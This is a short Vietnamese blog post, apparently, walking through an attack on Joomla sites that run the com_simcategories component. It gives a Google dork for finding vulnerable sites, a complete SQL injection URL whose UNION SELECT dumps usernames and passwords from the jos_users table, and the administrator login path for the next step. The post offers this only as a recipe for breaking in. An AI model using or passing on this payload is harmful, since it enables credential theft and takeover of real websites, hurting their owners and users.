Đầu tiên, tìm site bị lỗi bằng dork sau:
inurl:index.php?option=com_simcategories hoặc click vào đây
SQLi command:
http://target.com/index.php?option=com_simcategories&view=simprovide r&id=-1′ UNION SELECT 1,group_concat(username,0x7c,password),3,4,5,6,7 from jos_users– -
Admin link: http://target.com/administrator
No comments:
Post a Comment